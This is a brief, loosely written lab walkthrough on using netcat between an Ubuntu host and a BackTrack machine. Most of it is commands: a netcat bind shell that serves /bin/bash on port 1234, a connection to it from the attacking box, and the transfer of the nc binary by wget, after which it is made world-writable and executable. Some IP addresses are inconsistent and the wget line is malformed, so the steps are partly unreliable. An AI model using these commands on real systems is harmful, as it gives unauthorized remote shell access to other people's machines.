using netcat in ubuntu

the first step
in ubuntu input
#nc -l -p 1234 -e /bin/bash

in backtrack input
:nc 192.168.56.101 1234
*copyng nc to ubuntu

:cp /bin/nc.1 /var/www
in ubuntu
because nc have sending from BT so nc have saving in ubuntu

~$wget 191.168.56.1 /nc.1

~$ls

~$chmod 777 nc.1
~$ls -Lia nc.1

in back track
:nc 191.168.56.101 1234
:ls